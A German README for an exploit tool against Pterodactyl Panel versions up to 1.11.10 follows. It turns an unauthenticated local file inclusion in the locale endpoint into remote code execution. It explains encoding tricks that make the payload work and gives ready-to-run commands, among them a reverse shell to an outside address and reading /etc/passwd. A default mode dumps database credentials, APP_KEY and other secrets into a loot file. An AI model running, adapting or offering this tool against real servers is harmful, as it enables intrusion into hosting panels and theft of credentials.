
Exploit für Pterodactyl Panel ≤ 1.11.10 - unahentifiziertes LFI zu RCE
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Exploit für Pterodactyl Panel ≤ 1.11.10 - nicht authentifizierte LFI zu RCE.
Der /locales/locale.json-Endpunkt akzeptiert locale- und namespace-Parameter, die ohne Bereinigung oder Authentifizierung direkt an PHPs include() übergeben werden. Der hash-Parameter, der Missbrauch verhindern soll, wird in ungepatchten Versionen nie erzwungen.
Dies ermöglicht:
.php-Konfigurationsdatei (Datenbank-Zugangsdaten, APP_KEY, Mail, Session…)pearcmd.php-Einbindung (register_argc_argv + config-create-Trick), PHP-Filterketten oder Laravel-Deserialisierung mit dem geleakten APP_KEYBetroffen: Pterodactyl Panel ≤ 1.11.10 Behoben in: 1.11.11
Die ursprünglichen PoCs verwenden Python requests, um das pearcmd-Payload zu senden. Das Problem: requests kodiert Zeichen wie <, >, {, } stillschweigend URL - was die in die URL eingebetteten PHP-Tags (<?=system(...)?>) zerstört.
Dieser Exploit behebt das mit zwei wesentlichen Änderungen:
curl für Stage 1 - Die Payload-Erstellungsanfrage verwendet curl -g (globoff) über subprocess und umgeht so die URL-Kodierung von Python vollständig.hex2bin() für Befehls-Kodierung - Anstatt den rohen Befehl zu injizieren (der bei Leerzeichen und Sonderzeichen bricht), wird der Befehl hex-kodiert und serverseitig mit system(hex2bin('...')) dekodiert. Hex verwendet nur 0-9a-f - kein +, kein =, kein &, keine Leerzeichen. Somit funktioniert jeder Befehl, einschließlich Reverse Shells mit >& und /dev/tcp/./usr/share/php fest verdrahten, unterstützt dieses Tool das --pear-dir-Argument vollständig. Es injiziert den benutzerdefinierten Pfad dynamisch in die rohe curl-Anfrage und ermöglicht so die Ausnutzung von Zielen mit nicht standardmäßigen Konfigurationen.pip install requests
Optional (für Filterketten / Deserialisierungs-RCE-Methoden):
pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator
# Simple command
python3 exploit.py http://panel.fr --rce-cmd "id"
# PHP filter chain (needs php_filter_chain_generator in PATH)
python3 exploit.py http://panel.fr --rce-filter "id"
# Pre-generated filter chain
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."
# Laravel deserialization via leaked APP_KEY (needs phpggc + pycryptodome)
python3 exploit.py http://panel.fr --rce-d "id"
# RCE with another pear directory
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR
# Reverse shell
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# Dumps all configs (DB creds, APP_KEY, mail, session, CORS…) + attempts auto RCE
python3 exploit.py http://panel.fr
| Option | Beschreibung |
|---|---|
target | Ziel-URL (z.B. http://panel.pterodactyl.fr) |
--rce-cmd CMD | Führt CMD über pearcmd aus (unterstützt jeden Befehl, inkl. Reverse Shells) |
--rce-filter CMD | Führt CMD über PHP-Filterkette aus |
--filter-chain CHAIN | Verwendet eine vorgefertigte php://filter-Kette (mit --rce-filter) |
--rce-d CMD | Führt CMD über Laravel-Deserialisierung aus |
--pear-dir PATH | Pfad zum pearcmd.php-Verzeichnis (Standard: /usr/share/php) |
--timeout N | Zeitüberschreitung für Anfragen in Sekunden (Standard: 10) |
--verify-ssl | SSL-Zertifikatsprüfung aktivieren (standardmäßig deaktiviert) |
-o FILE | Ausgabedatei für Bericht (Standard: loot.json) |
--pear-dir-Werte| Distribution | Pfad |
|---|---|
| Debian / Ubuntu | /usr/share/php (Standard) |
| openSUSE | /usr/share/php/PEAR |
| Alpine | /usr/share/php84 oder /usr/share/php83 |
| RHEL / Rocky | /usr/share/pear |
Wenn ohne --rce-cmd / --rce-filter / --rce-d ausgeführt, führt der Exploit eine vollständige Konfigurationsextraktion durch:
/etc/passwd, Hostname, Kernelversion zu lesenEin vollständiger JSON-Bericht wird in loot.json gespeichert (oder benutzerdefinierter Pfad über -o).
Dieser Exploit ist eine Verbesserung basierend auf dem PoC von GRodolphe/CVE-2025-49132_poc, der selbst vom ursprünglichen PoC von 0xtensho/CVE-2025-49132-poc inspiriert wurde.